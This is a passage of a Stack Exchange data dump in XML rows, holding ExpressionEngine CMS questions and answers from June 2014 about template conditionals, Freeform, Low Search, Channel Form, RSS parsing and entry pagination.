class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;pos-ab&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;col-xs-6 left&quot;&amp;gt;&#xA;                  &amp;lt;div&amp;gt;&#xA;                    &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;/products/category/{category_url_title}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                  &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;col-xs-6 right&quot;&amp;gt;&#xA;                  &amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;                    {exp:eehive_hacksaw chars=&quot;&quot; words=&quot;15&quot; cutoff=&quot;&quot; append=&quot;&quot; allow=&quot;&amp;lt;p&amp;gt;&amp;lt;b&amp;gt;&amp;lt;a&amp;gt;&quot;}&#xA;                      {category_description}&#xA;                    {/exp:eehive_hacksaw}&#xA;                  &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!--right--&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!--pos-ab--&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!--row--&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&amp;lt;!--double square--&amp;gt;&#xA;&#xA;&#xA;&#xA;        {/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2014-06-11T17:29:34.247" Title="Conditional with variable gives php error" Tags="|categories|stash|php-errors|gwcode-categories|switchee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23626" PostTypeId="1" CreationDate="2014-06-11T16:57:00.550" Score="3" ViewCount="333" Body="&lt;p&gt;I'm creating a Notification Template with this tag pair:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{all_form_fields}&#xA;    {field_label}&#xA;    {field_data}&#xA;{/all_form_fields}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the order's ending up alphabetical, not in the order I put them in Composer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After finding &lt;a href=&quot;http://www.solspace.com/forums/viewthread/15678&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/forums/viewthread/15678&lt;/a&gt; then seeing that this appeared to be fixed at &lt;a href=&quot;http://www.solspace.com/docs/freeform/change_log/#v4.0.11&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/change_log/#v4.0.11&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fixed a bug where Notification templates using the '{all_form_fields}'&#xA;  variable pair were not ordering data by the field order set in the&#xA;  form edit screen in the CP and were going in Alphabetical order&#xA;  instead.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what to do. Anyone have any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2022-02-25T20:07:40.670" Title="FreeForm Pro {all_form_fields} ordering fields by order in form" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23627" PostTypeId="1" AcceptedAnswerId="23629" CreationDate="2014-06-11T17:07:53.900" Score="0" ViewCount="66" Body="&lt;p&gt;I have a grid fieldtype which has a Relationship field &quot;Select one&quot; allowing the user to select a channel in the grid, however although the correct value is shown in the cp (shown below) I cannot find the value in the corresponding MySQL table for the grid (the other values are in the table. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qmyqF.png&quot; alt=&quot;Grid relationship&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2912" LastActivityDate="2014-06-11T17:22:05.727" Title="Cannot find grid fieldtype data in database" Tags="|relationships|grid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23629" PostTypeId="2" ParentId="23627" CreationDate="2014-06-11T17:22:05.727" Score="0" Body="&lt;p&gt;You will need to look in the &lt;code&gt;exp_relationships&lt;/code&gt; table then match the &lt;code&gt;grid_field_id&lt;/code&gt; along with the &lt;code&gt;grid_col_id&lt;/code&gt; and &lt;code&gt;grid_row_id&lt;/code&gt; columns for exactly what you are looking for.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-06-11T17:22:05.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23630" PostTypeId="2" ParentId="23625" CreationDate="2014-06-11T17:29:34.247" Score="7" Body="&lt;p&gt;The problem with that is that if &lt;code&gt;{parent_id}&lt;/code&gt; doesn't get replaced with a number before the conditional is evaluated, then EE will choke because when converted to PHP it becomes: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ({parent_id} == 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Either this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if parent_id != 0}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{parent_id}&quot; != &quot;0&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is more fault tolerant when the variable doesn't exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, you may wonder, why is your conditional getting parsed before &lt;code&gt;{parent_id}&lt;/code&gt; has been replaced in the first place? Because by default &lt;code&gt;{exp:stash:parse}&lt;/code&gt; parses conditionals after it has parsed the layers of tags it wraps to a &quot;depth&quot; of 3 (&lt;code&gt;parse_conditionals=&quot;yes&quot;&lt;/code&gt; and &lt;code&gt;parse_depth=&quot;3&quot;&lt;/code&gt; by default).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It so happens that in your code the &lt;code&gt;{exp:low_variables}&lt;/code&gt; tag is on the deepest layer to be parsed (layer 3). This tag gets replaced with your &lt;code&gt;{exp:channel:categories}&lt;/code&gt; tag pair which is NOT parsed, because at this point Stash is done parsing and will now parse any conditionals that have been exposed. See the problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To stop this undesirable behaviour you can either set &lt;code&gt;parse_conditionals=&quot;no&quot;&lt;/code&gt; on the &lt;code&gt;{exp:stash:parse}&lt;/code&gt; tag or increase the parse depth with &lt;code&gt;parse_depth=&quot;4&quot;&lt;/code&gt; so that the categories tag is fully parsed before the conditionals are evaluated.&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2014-06-11T17:29:34.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23631" PostTypeId="1" CreationDate="2014-06-11T18:22:39.127" Score="2" ViewCount="38" Body="&lt;p&gt;When attempting to merge tags via the &lt;strong&gt;Devdemon Tagger&lt;/strong&gt; instructions &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;To Merge tags separate each tag_id by a comma, the first tag_id being&#xA;  the merged tag,&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;it appears to simply delete all tags besides the first one. They do not get merged into the first tag.&lt;/p&gt;&#xA;" OwnerUserId="3224" LastEditorUserId="7185" LastEditDate="2017-02-14T15:57:55.283" LastActivityDate="2017-02-14T15:57:55.283" Title="Merging tags in Devdemon tagger simply deletes the tags in question - no merging occurs" Tags="|tags|devdemon-tagger|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23632" PostTypeId="1" CreationDate="2014-06-11T18:22:49.180" Score="0" ViewCount="192" Body="&lt;p&gt;Has anyone done forms with logical branching in FreeForm? Something like, if somebody selects &quot;Other&quot; from a radio group, show + require an &quot;Other&quot; text field? If there are any examples that'd be a great help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is FreeForm not the right place to start for something like this? Thanks for any ideas.&lt;/p&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2014-06-30T19:27:02.623" Title="Logical branching with FreeForm Pro?" Tags="|solspace-freeform|forms|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23633" PostTypeId="1" AcceptedAnswerId="23709" CreationDate="2014-06-11T20:19:00.590" Score="2" ViewCount="257" Body="&lt;p&gt;In attempting to use the Magpie RSS parser, I'm getting the below errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: User Warning&#xA;Message: MagpieRSS: Failed to fetch http://careercenter.gammaiotasigma.org/jobs/?display=rss&amp;amp;keywords=&amp;amp;filter=SHOW_AT%3A740037&amp;amp;resultsPerPage=12. &#xA;  (HTTP Error: connection failed (101))&#xA;Filename: plugins/pi.magpie.php&#xA;Line Number: 1387&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Trying to get property of non-object&#xA;Filename: plugins/pi.magpie.php&#xA;Line Number: 104&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In checking http status codes, 101 =&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;101 Switching Protocols&#xA;This means the requester has asked the server to switch protocols and the server is     &#xA;acknowledging that it will do so&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why would that be considered an http ERROR?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Magpie tag that causes the error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:magpie url=&quot;http://careercenter.gammaiotasigma.org/jobs/?display=rss&amp;amp;keywords=&amp;amp;filter=SHOW_AT%3A740037&amp;amp;resultsPerPage=12&quot; limit=&quot;12&quot; refresh=&quot;720&quot;}&#xA;&amp;lt;ul&amp;gt;&#xA;    {items}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{link}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&#xA;        {description}&#xA;    &amp;lt;/li&amp;gt;&#xA;    {/items}&#xA;&amp;lt;/ul&amp;gt;&#xA;{/exp:magpie}   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In THE SAME PAGE, I have this feed and it works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:magpie url=&quot;http://careers.independentagent.com/jobs?resultsPerPage=12&amp;amp;display=rss&quot; limit=&quot;12&quot; refresh=&quot;720&quot;}&#xA;&amp;lt;ul&amp;gt;&#xA;    {items}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{link}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&#xA;        {description}&#xA;    &amp;lt;/li&amp;gt;&#xA;    {/items}&#xA;&amp;lt;/ul&amp;gt;&#xA;{/exp:magpie}   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? I ran both through the validator and they are both valid feeds.&lt;/p&gt;&#xA;" OwnerUserId="1725" LastEditorUserId="422" LastEditDate="2014-06-15T08:44:57.820" LastActivityDate="2014-06-15T08:44:57.820" Title="Magpie issue with HTTP status code" Tags="|ee2|rss|" AnswerCount="1" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="23634" PostTypeId="2" ParentId="22502" CreationDate="2014-06-11T20:22:26.010" Score="0" Body="&lt;p&gt;You have an extra form input for the CAPTCHA that you do not need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;captcha&quot; value=&quot;&quot; size=&quot;20&quot; maxlength=&quot;20&quot; style=&quot;width:140px;&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ReCAPTCHA extension will dynamically create the form input for you in the &lt;code&gt;recaptcha_container&lt;/code&gt; div, so you can remove that input from your form.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-06-11T20:22:26.010" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23635" PostTypeId="2" ParentId="23538" CreationDate="2014-06-11T20:53:51.660" Score="1" Body="&lt;p&gt;In addition to Nathan's answer, you're probably going to want to build a add-on module to do the SCORM conversations and tracking, rather than anything frontend. So ideally you'll need PHP/CodeIgniter experience as well as knowledge of SCORM and LMS systems. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExpressionEngine would be an ideal platform for the creation and management of content and interactions but it would be some overhead to create the SCORM compatibility. I assume you've already considered the likes of &lt;a href=&quot;https://moodle.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Moodle&lt;/a&gt;? Albeit it's a one stop shop covering everything, including the LMS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to using EE for the content, the other approach to consider is utilising a JavaScript SCORM API, a quick Google found &lt;a href=&quot;https://stackoverflow.com/questions/7673397/is-there-any-free-simple-scorm-2004-javascript-api&quot;&gt;this&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or convert an &lt;a href=&quot;https://stackoverflow.com/questions/2498452/scorm-lib-for-php&quot;&gt;existing SCORM PHP module&lt;/a&gt; to CodeIgniter.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2014-06-11T20:53:51.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23636" PostTypeId="2" ParentId="23615" CreationDate="2014-06-11T21:17:28.193" Score="1" Body="&lt;p&gt;Fudge it by by creating a tracker template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You mention your banners are in a channel entries, so I assume the image, url, etc are all stored there. Instead of using the actual URL for the banner href, use /adverts/tracker/[entry_id]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a template group called adverts and a template called tracker, inside this template it does a channel entries tag pair utilising {segment_3} for the entry_id and track_views=&quot;two&quot;, pulling in the correct URL and redirecting. Utilise either EE redirect tag, meta refresh or JS. Although all would create a 301 issue and not good for SEO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A better alternative that suits your brief a bit better is to keep the correct final URL in the href tag and use a data-id attribute to the a tag on the banner set with the entry_id value, and catch the click with JQuery. This then uses the data-id attribute to append the entry_id to a fixed template URL (tracker template as described above), calling this URL (tracker template) in an Ajax call but without any redirects and stores the click to the entry ID. Once the above page is rendered and click impression stored, the Ajax returns and you continue with the click through to the sponsor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ideal solution would be to create a module with an ACTion url that could be called on Ajax and save the track, but more time overhead than creating a template to do it.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2014-06-12T12:46:35.337" LastActivityDate="2014-06-12T12:46:35.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23637" PostTypeId="1" CreationDate="2014-06-11T21:48:35.157" Score="3" ViewCount="853" Body="&lt;p&gt;I've created a bunch of simple entries for a channel, and I'd like guest users to be able to edit the entries.  The entries are all on the index page, since this is a one-page site.  No matter what I try, my Channel Form will not update the entries.  This is basically straight from the docs, but submitting the form doesn't change any of the fields.  Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA; channel=&quot;products&quot;&#xA; disable=&quot;categories|member_data|pagination|trackbacks&quot;&#xA; dynamic=&quot;no&quot;&#xA;}&#xA;&#xA;&amp;lt;img src=&quot;{product_image}&quot; class=&quot;pure-img&quot;&amp;gt;&#xA;    {exp:channel:form channel=&quot;products&quot; return=&quot;product/index&quot; url_title=&quot;{url_title}&quot;}&#xA; &amp;lt;input name=&quot;title&quot; type=&quot;text&quot; value=&quot;{title}&quot;&amp;gt;&#xA; {field:product_description}&#xA; &amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;{/exp:channel:form}&#xA;&#xA;        {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help!&lt;/p&gt;&#xA;" OwnerUserId="3226" LastActivityDate="2022-08-11T18:06:50.637" Title="Editing entries with Channel Form not working" Tags="|safecracker|forms|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23638" PostTypeId="1" CreationDate="2014-06-11T22:34:28.367" Score="3" ViewCount="384" Body="&lt;p&gt;I want to only search results from specific collection on specific search results pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My search results is basically like the Low Search Results example &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results query=&quot;{segment_3}&quot; limit=&quot;10&quot;}&#xA;{if count ==  1}&amp;lt;ol&amp;gt;{/if}&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url_title_path=&quot;#&quot;}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{if count == total_results}&amp;lt;/ol&amp;gt;{/if}&#xA;{if no_results}No search results{/if}&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This shows me matching results from all saved collections. However, I only want to show results from a specific collection. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see Low has the variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{collections}{/collections}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;just not sure how to use it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance. &lt;/p&gt;&#xA;" OwnerUserId="2826" LastActivityDate="2014-06-12T07:34:33.313" Title="Low Search: Filter results by Collections" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23639" PostTypeId="2" ParentId="23638" CreationDate="2014-06-12T00:42:41.943" Score="2" Body="&lt;p&gt;If you are using a specific form to search for a single collection the best option would be to pass a hidden input in the search form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form}&#xA; &amp;lt;input type=&quot;hidden&quot; name=&quot;collection&quot; value=&quot;collection_name&quot;&amp;gt;&#xA; &amp;lt;input type=&quot;search&quot; name=&quot;keywords&quot; placeholder=&quot;Search&quot;&amp;gt;&#xA; &amp;lt;input type=&quot;submit&quot; value=&quot;submit&quot;&amp;gt;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should also be able to do this on the results loop too but I haven't tested it. From your code above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results query=&quot;{segment_3}&quot; collection=&quot;collection_name_here&quot; limit=&quot;10&quot;}&#xA;  {if count ==  1}&amp;lt;ol&amp;gt;{/if}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url_title_path=&quot;#&quot;}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  {if count == total_results}&amp;lt;/ol&amp;gt;{/if}&#xA;  {if no_results}No search results{/if}&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastEditorUserId="172" LastEditDate="2014-06-12T07:34:33.313" LastActivityDate="2014-06-12T07:34:33.313" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23640" PostTypeId="1" AcceptedAnswerId="23736" CreationDate="2014-06-12T01:01:49.620" Score="2" ViewCount="61" Body="&lt;p&gt;I'm allowing users to create entries from the front end using Channel Form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see those entries in the Control Panel. However they are not appearing when I try and retrieve the entries using the standard {exp:channel:entries} tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone experienced that before? Any ideas why its happening?&lt;/p&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2014-06-16T21:16:05.597" Title="Unable to retrieve entries created with Channel Form" Tags="|safecracker|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23641" PostTypeId="2" ParentId="23632" CreationDate="2014-06-12T06:08:08.427" Score="1" Body="&lt;p&gt;I've done similar over the years and by far the best practice is to ask the variables up front in a faux form. Once the variables are answered load the appropriate and ACTUAL form, where you can GET the default fields (name,address etc) from initial form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also used javascript to hide/show content but obviously doesn't have any fall back with JS disabled and getting around Freeforms 'required' setting means removing it via JS - can be consuming to wire together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is nothing native with any form solution from EE or Solspace or others as far as I'm aware.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-06-12T06:08:08.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23643" PostTypeId="1" AcceptedAnswerId="23644" CreationDate="2014-06-12T07:47:42.853" Score="1" ViewCount="74" Body="&lt;p&gt;My website, written in EE2 is using expresso-store as the shopping cart. I am integrating PayU  payment gateway via the Enterprise API. Would it be possible to use Discovery Miles with this? How would I integrate Discovery Miles here or how would I go about doing this? The customer is allowed to pay with their discovery miles or credit card.&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-06-12T09:21:41.330" Title="Integrating Discovery Miles Into Website" Tags="|expresso-store|ee2|payment-gateway|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23644" PostTypeId="2" ParentId="23643" CreationDate="2014-06-12T09:21:41.330" Score="2" Body="&lt;p&gt;If PayU support payment by Discovery Card (&lt;a href=&quot;https://www.payu.co.za/business/supported-payment-methods/&quot; rel=&quot;nofollow&quot;&gt;and it looks like they do&lt;/a&gt;) then you just need to implement a payment gateway for PayU and PayU will automatically provide that as a payment option presented to customers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Discovery Miles is the currency earned when customer makes a payment with their Discovery Card and that again is handled automatically by the issuer: DiscoveryCard.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-06-12T09:21:41.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23645" PostTypeId="1" CreationDate="2014-06-12T09:41:03.870" Score="0" ViewCount="40" Body="&lt;p&gt;I have downloaded de payment method &quot;Check&quot; for Expresso-store. If I make a payment with this payment, the order will be placed on paid. How can I fix this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="2061" LastActivityDate="2014-06-12T09:41:03.870" Title="payment method &quot;Check&quot; -&gt; paid?" Tags="|expresso-store|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23646" PostTypeId="1" CreationDate="2014-06-12T09:42:57.230" Score="1" ViewCount="57" Body="&lt;p&gt;I'm trying to make a 'learning' site, something similar to Codecademy but for a small company. The setup at the moment is that I have a Training channel, with description and courses channel fields. Courses is a grid field with the name and title of the resource (so a book or video etc) and also a checkbox that will show whether the user has completed that resource. The channel entries will be for example, 'HTML' and then the description will be a little bit about HTML, and the grid will contain a list of books, videos etc about learning HTML. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can set up with jQuery and AJAX to check whether the checkbox should be checked from the database, but the issue is that different members will have different things completed. What's the best way to organise the data so I can record who has done what? Would it be easier to do a separate channel for the resources and use relationships to link it to the types of training, then relationships to the member ID for the checkbox? &lt;/p&gt;&#xA;" OwnerUserId="3228" LastActivityDate="2014-06-12T12:04:00.213" Title="Different values of checkbox for different members?" Tags="|database|jquery|ajax|multiple-channels|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23647" PostTypeId="1" AcceptedAnswerId="23660" CreationDate="2014-06-12T10:18:57.230" Score="5" ViewCount="584" Body="&lt;p&gt;I'm using (the latest) Freeform Pro to create forms with its Composer feature. Then I'm using the &lt;a href=&quot;http://www.solspace.com/docs/freeform/channel_entry_fieldtype/&quot;&gt;Freeform Channel Fieldtype&lt;/a&gt; to assign a form to a specific channel entry. In my template, I'm outputting the form by simply calling the channel field name. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;forms&quot;&#xA;    url_title=&quot;{segment_2}&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    limit=&quot;1&quot;&#xA;    disable=&quot;member_data|categories|pagination&quot;&#xA;}&#xA;    &amp;lt;div class=&quot;form-header&quot;&amp;gt;&#xA;        &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;        {form_description}&#xA;    &amp;lt;/div&amp;gt;&#xA;    {form_form}&#xA;    {if no_results}{redirect=&quot;404&quot;}{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...where &lt;code&gt;{form_form}&lt;/code&gt; is the Freeform Channel Field. This will output the channel entry and form as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Freeform Channel Field, you can also define the Return path for the form. However, the only dynamic segment you can set is the Entry ID of the Freeform entry: &lt;code&gt;form/sent/%%entry_id%%&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to add the URL title of the associated channel entry in this return path, so something like: &lt;code&gt;form/sent/{url_title}/%%entry_id%%&lt;/code&gt; — is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On top of that, I'd like all my forms to have this particular return path, so there's no need for that input field in the channel form. Can you set the default value and hide the input field?&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-06-12T19:16:56.420" Title="How can I make the Return path for the Freeform Channel Fieldtype dynamic?" Tags="|solspace-freeform|solspace|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23648" PostTypeId="1" AcceptedAnswerId="23649" CreationDate="2014-06-12T10:31:51.697" Score="1" ViewCount="88" Body="&lt;p&gt;Here's the scenario&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a bunch of blogs to be displayed. 9 blogs with short description in a grid, and then click on the caption to read more of the blog&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the blog grid url is www.mysite.com/person1/blog&lt;/p&gt;&#xA;&#xA;&lt;p&gt;on clicking the channel entry it takes me to the more detailed view. The url looks like this&#xA;www.mysite.com/person1/blog/blog-with-url&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the url title of the channel entry is blog-with-url&#xA;I have accomplish this. What I am not able to achieve is, that I pagination to navigate to the next and the previous blog post. How should I do that?&lt;/p&gt;&#xA;" OwnerUserId="3059" LastActivityDate="2014-06-12T10:34:39.377" Title="Constructing a single page blog with pagination" Tags="|channel-entries|channel|pagination|navigation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23649" PostTypeId="2" ParentId="23648" CreationDate="2014-06-12T10:34:39.377" Score="3" Body="&lt;p&gt;With - &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/entry_linking.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/add-ons/channel/entry_linking.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:next_entry}&#xA;&amp;lt;p&amp;gt;Next entry: &amp;lt;a href=&quot;{path='site/comments'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/exp:channel:next_entry}&#xA;&#xA;{exp:channel:prev_entry}&#xA;&amp;lt;p&amp;gt;Previous entry: &amp;lt;a href=&quot;{path='site/comments'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/exp:channel:prev_entry}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="185" LastActivityDate="2014-06-12T10:34:39.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23650" PostTypeId="1" CreationDate="2014-06-12T11:17:32.463" Score="1" ViewCount="109" Body="&lt;p&gt;I'm using EE for a few years now and pretty often I'm setting up segment variables to dynamically configure tags - like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;{segment_2}&quot;&#xA;    entry_id=&quot;{segment_3}&quot;&#xA;    author_id=&quot;{segment_5}&quot;}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Although this is working fine, it tends to make URLs pretty long, which I despise. :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I've already tried native template routes as well as Resource Router, Stash and other third-party options, but I can't figure out an alternative way to set these dynamic parameters reliably.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another method like maybe setting variable across page-loads?&lt;/p&gt;&#xA;" OwnerUserId="2855" LastEditorUserId="3579" LastEditDate="2015-12-09T14:05:26.827" LastActivityDate="2015-12-09T14:05:26.827" Title="Alternative ways to configure tags without using segment variables" Tags="|configuration-variables|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
